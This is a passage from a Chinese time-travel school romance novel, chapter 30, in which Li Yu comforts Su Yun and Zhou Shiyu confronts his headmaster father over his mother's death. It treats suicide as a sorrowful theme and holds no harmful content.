那么,就算是周湜与在即将到来的六月九号不会死,难道他依旧无法活在黎遇属于的那个二零一七年吗?
苏芸也再难逃脱自杀的命运吗?
他们兜兜转转,回到了原地,莫非捞起的不过都是水中月么?
宿管打量着她,“哎呦,我就说了这么两句话,怎么还要掉眼泪啦,现在的小孩哟,真是脆弱。”
黎遇咬咬牙,忽然听到后面有人道:“是你?”
她回头。
十七岁的苏芸就站在她的身后。
她冲她抿起一个笑容。
苏芸抱着书和一袋卫生纸,显然是要回宿舍的样子。
黎遇也笑了笑,她拉着苏芸跑到宿舍楼后面。
“你还好吧?”
“……挺好的。”
苏芸抬起眼睛,稍许才轻轻道:“我很久都没见你了。”
“是,是啊,快要高考了。”
黎遇往远看,看见天空一点点沉入深蓝。
“主任,就是她,就是那个女孩儿,不是我们学校的!”保安的声音渐近,他匆忙赶来,指着黎遇。
她眉心一跳,还没来得及跑,就听到前方实验楼“哐当”一声。
30. 坏孩子
第三十章坏孩子
苏芸背对着声音,吓得一哆嗦,黎遇探头看去,把她拉到身后。只听保安“嗷”地一嗓子,“谁的篮球把玻璃砸碎了!”
她踮起脚尖,就见周湜与小跑过来,一脸真真假假的歉意,“失手失手,没伤到你们吧?”
“怎么又是你!”保安愤愤道:“你知道不知道有多危险啊!”
教导主任脸色铁青,兴许是想发作,但碍于他本人是周校长的儿子,看着两米外的碎玻璃,只能沉声道:“都放学了,你怎么还在校园里闲逛,吃饱了力气太多是不是!”
周湜与把篮球捡起来,单只胳膊压着在腰侧。
明明做了错事,却小白杨一样地挺拔站立,抬头大声道:“我错了!愿意受罚,也愿意赔钱重新装一个玻璃!”
在保安和教导主任低头看那一地碎玻璃的功夫,他飞速往黎遇的方向看去,冲她眨眨眼。
黎遇和苏芸躲在墙角,两人对视一眼,叹口气。
教导主任冷不丁开口:“我们学校实验楼的这个玻璃吧,每年冬天一刮风就哗啦哗啦地响,确实不安全……对学生实在是不安全对吧?”
“啊,对啊,没错没错!”
保安立刻接上话。
又听那边忽然传来另一个男人的声音,“梁主任,抱歉给你添麻烦了,他的事情我亲自来处理。”
“周校长?”
“您怎么亲自来了?”
苏芸拽拽黎遇的袖子,“完了。”
黎遇拉着她赶紧跑开,苏芸刷开宿舍后门,刚关上门,就听到保安懊恼的声音,“被刚才那男生一搅和,我忘了这还有个外来人员呢,你看!人不见了。”
她忍不住噗嗤一笑。
苏芸等人走远了,长舒一口气。
黎遇扭头问她,“你还好吗?”
她笑了笑,“你问过我了。”
“我的好朋友死了,其实我很难过。”
“对不起。”
黎遇小声道。
苏芸仰起头,有些奇怪,“你为什么说‘对不起”?”
黎遇回视她。
她想起了苏芸死的那天,那双摇摇晃晃的高跟鞋,那抹红色比死人身上的一席白布更让她感到哀伤。
摇摇头,黎遇没再说话。
“我时间不多,要回家了。”
她等了一会儿,“保安肯定走了。”
“但你待会儿从大门走,肯定还会遇到他啊。”
她笑笑,“我会翻墙呀。”
“哦。”
黎遇冲她摆手,门推开一半,又走回来,盯着她的眼睛一字一句道:“生命是最宝贵的,我妈说,再大的事情也都会过去的,但是人要是死了,就才是什么都没了。”
不顾苏芸讶异的眼神,黎遇认真说完这段话。
她感受到了自己的渺小,即使自己自己无意间获得了可以穿梭时空的能力,但依旧渺小到无法手起刀落地解决坏人……她下定决心,如果在她所处的那个时空,周湜与和苏芸都回不了了,那么至少要他们这一个时空好好活着。
周湜与要活过六月九日。而苏芸不会再靠自杀来宣泄命运的不公。
*
周湜与跟在他爸身后。
他本来以为会一路跟到校长办公室,没想到周因昌带着他来到了自己的宿舍。
虽然在同一栋宿舍楼,但是周湜与从来没来过周因昌的宿舍。
他站在门口,打量了一番,除了多了一张床,他不觉得这个小房间跟办公室有什么区别。
周因昌率先进去,回头见儿子吊儿郎当的样子,“看什么看,不嫌站在外面丢人!”
周湜与走进来。
“篮球不许带进来!”
他又把篮球放在门口。
走进来后,他关上门,不由地感慨道:“周校长清廉啊,我以为你的宿舍会比我们的大很多呢,没想到窗户比我们的还窄——”他向窗外看了看,“而且正对着垃圾箱。”
“嬉皮笑脸。”周因昌拧着眉头,“怎么生出你这么个儿子来?”
他坐下来,周湜与靠在墙上,他后背挨着的地方正好是头顶灯的开关。他一碰,灯就亮了,再一碰了,又灭了。
来了两三回。周校长又怒了,“你给我坐下?”
唯一一个凳子正在他屁股底下,周湜与问:“我坐在哪里?”
周因昌站起身,在床边蹲下来,手伸进床底,拖出一个木凳子。
“坐下。”
木凳子矮,周湜与两条腿长,他坐着憋屈,胳膊肘搭在膝盖上。
周因昌怎么看,都觉得不顺眼。
又重复了一遍,“我真不明白,我怎么会教育出你这么个东西?”
周湜与懒懒道:“您的意思是,我随我妈了呗?”
“跟你妈有什么关系!”
周因昌手掌拍桌,忽然勃然大怒。
说完这话,周因昌闭上眼睛,再睁开时竟然是深深的疲惫,沉默显得压抑,发火似乎都没了力气,他只是道:“你妈也是个很好的人,你更不像。”
“那就是我早产,脑子还没发育好。”
周湜与冷声道。
周因昌抬起头,“你说什么?”
周湜与压了压情绪,但眼圈红了,“我妈生我的时候大出血,你怎么从来不告诉我?”
“我……”
“还有,她大出血的时候你不在身边,她是一个人去的医院,被推进产房前也只有姥姥姥爷陪她,这些事情,你为什么不告诉我!”
周湜与嘶吼道。
“谁告诉你的?”
周因昌低声道,脸上竟然闪过惊恐。
“这重要吗?”周湜与压低声音,“我小时候总问你为什么我妈不想活了,她不爱我吗,为什么不要我了……你每次都叹气,就会说‘本来都好好的’,从来没有一次告诉我原来她生我花了那么大的力气,生我用掉了她半条命,所以剩下那半条命也可以轻易地丢掉。”
周因昌佝偻着身子,一直胳膊无力地搭在桌子上。天色彻底暗下去了,他的肩膀垮下来,看着沉重的夜。
过了一会儿,才哽咽开口,“跟你说这些又有什么用处,难道文嘉还能回来吗,那几年,她一直都不开心,很疲惫,我跟她说几句话,她就呜呜呜地哭,让
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我滚,为了不惹她生气,我开始慢慢不回家……那时候优秀教师评奖,我是最年轻的候选人,我以为自己当上主任她就开心了,你姥姥姥爷也就满意了。”
周湜与顿了顿,慢慢点点头,忽然冷笑道:“所以她生我的时候你来晚了,她养我的时候你消失了,除了当年一哆嗦让她有了我,你什么也没干是吧?”
一瞬间,周因昌那张清雅的脸涨得铁黑,他站起身,“你说什么!”
周湜与也站起来,他早已经比父亲高出将近半个头,眉眼如霜刃,藏着戾气,他一言不发,转头就走。
在他开门的瞬间,周易昌的怒声在身后响起,“你砸碎玻璃的事情我还没说!”
他的手放在门沿,“要处分,还是要退学,随你的便。”
*
他上楼回到自己的宿舍。
刚坐下,便把蓝皮本子拿出来。
上面出现黎遇的一行字:
「你回来了吗?」
「回来了」
「没事吧?」
周湜与顿了顿。
「没事」
见那边不说话,他又写下「你怎么今天过来一个人找苏芸?」
「我来看看她。」
过了一会儿,又出现一句话:「干嘛,你生气啦?」
周湜与第一反应是苏芸又不是男的,他生什么气,但细想,好像好真有些不知滋味,他们每周最多见两次面,她来到二零一零的时间有限,竟然还去独自见另一个人。要不是他今天抱着篮球路过,哪会看见两个女孩儿眼泪汪汪的手拉手。
他抓了抓头发。
发现自己现在只要是关于黎遇,谁的醋都吃。
*
两节数学课后,黎遇趴在桌子上小憩。
“黎遇!”徐老师站在前门喊她名字。
她抬起头,见班主任冲她招手。
“每年高考三周前,我们学校都会组织一次高三学生的激励大会,这个活动已经举办五年了,每次都会选一男一女两个学生代表上去带领大家宣誓,老师推荐你,怎么样?”
黎遇困得迷迷糊糊的,点了点头。
她回家把这件事情跟妈妈爸爸说了,章锦给她找出夏季校服,为她熨烫好,黎遇很久没穿过那件红色格子裙了,迫不及待地换上,在家里高兴地转圈。
章锦见了摸摸她的头,把女儿抱在怀里,“妈妈好久都没见你这么开心过了,总怕你高三学习压力太大,这段时间有时候也是心事重重的,我们担心你是被之前的事情吓到了,但也不敢跟你主动提起来。曈曈,你考成什么样,你未来做什么样子的人,爸爸妈妈都觉得你是最棒的。”
黎遇抱着妈妈的腰,把头枕在她的腿上。
这段时间,她被恐惧,担心和疑虑包裹,每每想嚎啕大哭,都尽力忍住,但今天,在妈妈温暖的怀抱里,她的情绪被委屈占据,鼻子酸酸的,顺着鼻梁往脑门上冲。她转了个身,把脸埋在妈妈的肚子上。过了很久闷闷地说:“妈妈,你真好。”
她想起苏芸的妈妈。
又抬起头,认真地重复了一遍,“真的,妈妈,我下辈子还要做你的女儿。”